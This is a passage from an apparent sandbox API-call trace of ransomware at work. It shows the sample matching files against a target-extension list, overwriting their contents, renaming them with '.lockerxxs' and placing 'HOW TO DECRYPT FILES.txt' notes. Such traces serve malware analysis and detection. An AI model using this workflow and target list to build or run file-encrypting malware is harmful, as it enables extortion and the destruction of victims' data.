Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" [0065.010] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="" [0065.010] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" [0065.010] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\how to decrypt files.txt")) returned 0x20 [0065.010] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="FormsImageTemplate.html" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html" [0065.010] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html", pszSpec="*.ems") returned 0 [0065.010] lstrlenA (lpString="*.ems") returned 5 [0065.010] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html", pszSpec="*.db") returned 0 [0065.010] lstrlenA (lpString="*.db") returned 4 [0065.011] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html", pszSpec="*.dbf") returned 0 [0065.011] lstrlenA (lpString="*.dbf") returned 5 [0065.011] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html", pszSpec="*.myox") returned 0 [0065.011] lstrlenA (lpString="*.myox") returned 6 [0065.011] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html", pszSpec="*.myo") returned 0 [0065.011] lstrlenA (lpString="*.myo") returned 5 [0065.011] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html", pszSpec="*.qbw") returned 0 [0065.011] lstrlenA (lpString="*.qbw") returned 5 [0065.011] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html", pszSpec="*.qbb") returned 0 [0065.011] lstrlenA (lpString="*.qbb") returned 5 [0065.011] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html", pszSpec="*.qbm") returned 0 [0065.011] lstrlenA (lpString="*.qbm") returned 5 [0065.011] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html", pszSpec="*.qbo") returned 0 [0065.011] lstrlenA (lpString="*.qbo") returned 5 [0065.011] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html", pszSpec="*.qbx") returned 0 [0065.011] lstrlenA (lpString="*.qbx") returned 5 [0065.011] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html", pszSpec="*.qba") returned 0 [0065.011] lstrlenA (lpString="*.qba") returned 5 [0065.011] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html", pszSpec="*.qby") returned 0 [0065.011] lstrlenA (lpString="*.qby") returned 5 [0065.011] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html", pszSpec="*.qbj") returned 0 [0065.011] lstrlenA (lpString="*.qbj") returned 5 [0065.011] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html", pszSpec="*.ofx") returned 0 [0065.011] lstrlenA (lpString="*.ofx") returned 5 [0065.011] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html", pszSpec="*.qif") returned 0 [0065.012] lstrlenA (lpString="*.qif") returned 5 [0065.012] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html", pszSpec="*.mye") returned 0 [0065.012] lstrlenA (lpString="*.mye") returned 5 [0065.012] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html", pszSpec="*.mbox") returned 0 [0065.012] lstrlenA (lpString="*.mbox") returned 6 [0065.012] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html", pszSpec="*.eml") returned 0 [0065.012] lstrlenA (lpString="*.eml") returned 5 [0065.012] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html", pszSpec="*.pst") returned 0 [0065.012] lstrlenA (lpString="*.pst") returned 5 [0065.012] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html", pszSpec="*.ost") returned 0 [0065.012] lstrlenA (lpString="*.ost") returned 5 [0065.012] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html", pszSpec="*.idx") returned 0 [0065.012] lstrlenA (lpString="*.idx") returned 5 [0065.012] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html", pszSpec="*.dbx") returned 0 [0065.012] lstrlenA (lpString="*.dbx") returned 5 [0065.012] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html", pszSpec="*.sql") returned 0 [0065.012] lstrlenA (lpString="*.sql") returned 5 [0065.012] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html", pszSpec="*.mdb") returned 0 [0065.012] lstrlenA (lpString="*.mdb") returned 5 [0065.012] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html", pszSpec="*.fdb") returned 0 [0065.012] lstrlenA (lpString="*.fdb") returned 5 [0065.012] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html", pszSpec="*.wab") returned 0 [0065.012] lstrlenA (lpString="*.wab") returned 5 [0065.013] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html", pszSpec="*.dat") returned 0 [0065.013] lstrlenA (lpString="*.dat") returned 5 [0065.013] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html", pszSpec="*.txt") returned 0 [0065.013] lstrlenA (lpString="*.txt") returned 5 [0065.013] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html", pszSpec="*.jpeg") returned 0 [0065.013] lstrlenA (lpString="*.jpeg") returned 6 [0065.013] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html", pszSpec="*.jpg") returned 0 [0065.013] lstrlenA (lpString="*.jpg") returned 5 [0065.013] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html", pszSpec="*.png") returned 0 [0065.013] lstrlenA (lpString="*.png") returned 5 [0065.013] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html", pszSpec="*.php") returned 0 [0065.013] lstrlenA (lpString="*.php") returned 5 [0065.013] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html", pszSpec="*.cs") returned 0 [0065.013] lstrlenA (lpString="*.cs") returned 4 [0065.013] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html", pszSpec="*.cpp") returned 0 [0065.014] lstrlenA (lpString="*.cpp") returned 5 [0065.014] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html", pszSpec="*.rar") returned 0 [0065.014] lstrlenA (lpString="*.rar") returned 5 [0065.014] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html", pszSpec="*.zip") returned 0 [0065.014] lstrlenA (lpString="*.zip") returned 5 [0065.014] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html", pszSpec="*.html") returned 1 [0065.014] lstrlenA (lpString="*.html") returned 6 [0065.014] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html" [0065.014] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html" [0065.014] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html", lpString2="." | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html.") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html." [0065.014] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html.lockerxxs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html.lockerxxs" [0065.014] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsimagetemplate.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0065.015] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x8ab [0065.015] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xa89b0700, dwHighDateTime=0x1c747ea), lpLastAccessTime=0x407536*(dwLowDateTime=0x618eeb70, dwHighDateTime=0x1d301bf), lpLastWriteTime=0x40753e*(dwLowDateTime=0xa89b0700, dwHighDateTime=0x1c747ea)) returned 1 [0065.015] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.015] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x885, lpOverlapped=0x0) returned 1 [0065.017] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html") returned="FormsImageTemplate.html" [0065.017] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.018] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x885, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x885, lpOverlapped=0x0) returned 1 [0065.018] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0065.018] CloseHandle (hObject=0x98) returned 1 [0065.019] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsimagetemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsimagetemplate.html.lockerxxs")) returned 1 [0065.020] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89b0700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x52942450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa89b0700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x858, dwReserved0=0x3000003, dwReserved1=0x4f81d8, cFileName="FormsMacroTemplate.html", cAlternateFileName="FORMSM~1.HTM")) returned 1 [0065.020] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.020] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="FormsMacroTemplate.html") returned -1 [0065.020] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="FormsMacroTemplate.html") returned 1 [0065.020] lstrcmpiA (lpString1="", lpString2="FormsMacroTemplate.html") returned -1 [0065.020] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html") returned="FormsImageTemplate.html" [0065.020] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" [0065.020] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="" [0065.020] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" [0065.021] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\how to decrypt files.txt")) returned 0x20 [0065.021] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="FormsMacroTemplate.html" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html" [0065.021] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html", pszSpec="*.ems") returned 0 [0065.021] lstrlenA (lpString="*.ems") returned 5 [0065.021] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html", pszSpec="*.db") returned 0 [0065.021] lstrlenA (lpString="*.db") returned 4 [0065.021] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html", pszSpec="*.dbf") returned 0 [0065.021] lstrlenA (lpString="*.dbf") returned 5 [0065.021] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html", pszSpec="*.myox") returned 0 [0065.021] lstrlenA (lpString="*.myox") returned 6 [0065.021] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html", pszSpec="*.myo") returned 0 [0065.021] lstrlenA (lpString="*.myo") returned 5 [0065.021] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html", pszSpec="*.qbw") returned 0 [0065.021] lstrlenA (lpString="*.qbw") returned 5 [0065.022] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html", pszSpec="*.qbb") returned 0 [0065.022] lstrlenA (lpString="*.qbb") returned 5 [0065.022] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html", pszSpec="*.qbm") returned 0 [0065.022] lstrlenA (lpString="*.qbm") returned 5 [0065.022] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html", pszSpec="*.qbo") returned 0 [0065.022] lstrlenA (lpString="*.qbo") returned 5 [0065.022] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html", pszSpec="*.qbx") returned 0 [0065.022] lstrlenA (lpString="*.qbx") returned 5 [0065.022] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html", pszSpec="*.qba") returned 0 [0065.022] lstrlenA (lpString="*.qba") returned 5 [0065.022] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html", pszSpec="*.qby") returned 0 [0065.022] lstrlenA (lpString="*.qby") returned 5 [0065.022] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html", pszSpec="*.qbj") returned 0 [0065.022] lstrlenA (lpString="*.qbj") returned 5 [0065.022] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html", pszSpec="*.ofx") returned 0 [0065.023] lstrlenA (lpString="*.ofx") returned 5 [0065.023] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html", pszSpec="*.qif") returned 0 [0065.023] lstrlenA (lpString="*.qif") returned 5 [0065.023] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html", pszSpec="*.mye") returned 0 [0065.023] lstrlenA (lpString="*.mye") returned 5 [0065.023] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html", pszSpec="*.mbox") returned 0 [0065.023] lstrlenA (lpString="*.mbox") returned 6 [0065.023] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html", pszSpec="*.eml") returned 0 [0065.023] lstrlenA (lpString="*.eml") returned 5 [0065.023] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html", pszSpec="*.pst") returned 0 [0065.023] lstrlenA (lpString="*.pst") returned 5 [0065.023] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html", pszSpec="*.ost") returned 0 [0065.023] lstrlenA (lpString="*.ost") returned 5 [0065.023] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html", pszSpec="*.idx") returned 0 [0065.023] lstrlenA (lpString="*.idx") returned 5 [0065.023] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html", pszSpec="*.dbx") returned 0 [0065.023] lstrlenA (lpString="*.dbx") returned 5 [0065.023] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html", pszSpec="*.sql") returned 0 [0065.024] lstrlenA (lpString="*.sql") returned 5 [0065.024] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html", pszSpec="*.mdb") returned 0 [0065.024] lstrlenA (lpString="*.mdb") returned 5 [0065.024] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html", pszSpec="*.fdb") returned 0 [0065.024] lstrlenA (lpString="*.fdb") returned 5 [0065.024] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html", pszSpec="*.wab") returned 0 [0065.024] lstrlenA (lpString="*.wab") returned 5 [0065.024] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html", pszSpec="*.dat") returned 0 [0065.024] lstrlenA (lpString="*.dat") returned 5 [0065.024] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html", pszSpec="*.txt") returned 0 [0065.024] lstrlenA (lpString="*.txt") returned 5 [0065.024] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html", pszSpec="*.jpeg") returned 0 [0065.024] lstrlenA (lpString="*.jpeg") returned 6 [0065.024] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html", pszSpec="*.jpg") returned 0 [0065.024] lstrlenA (lpString="*.jpg") returned 5 [0065.024] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html", pszSpec="*.png") returned 0 [0065.024] lstrlenA (lpString="*.png") returned 5 [0065.025] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html", pszSpec="*.php") returned 0 [0065.025] lstrlenA (lpString="*.php") returned 5 [0065.025] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html", pszSpec="*.cs") returned 0 [0065.025] lstrlenA (lpString="*.cs") returned 4 [0065.025] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html", pszSpec="*.cpp") returned 0 [0065.025] lstrlenA (lpString="*.cpp") returned 5 [0065.025] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html", pszSpec="*.rar") returned 0 [0065.025] lstrlenA (lpString="*.rar") returned 5 [0065.025] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html", pszSpec="*.zip") returned 0 [0065.025] lstrlenA (lpString="*.zip") returned 5 [0065.025] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html", pszSpec="*.html") returned 1 [0065.025] lstrlenA (lpString="*.html") returned 6 [0065.025] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html" [0065.025] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html" [0065.025] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html", lpString2="." | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html.") returned="C:\\Program Files\\Microsoft 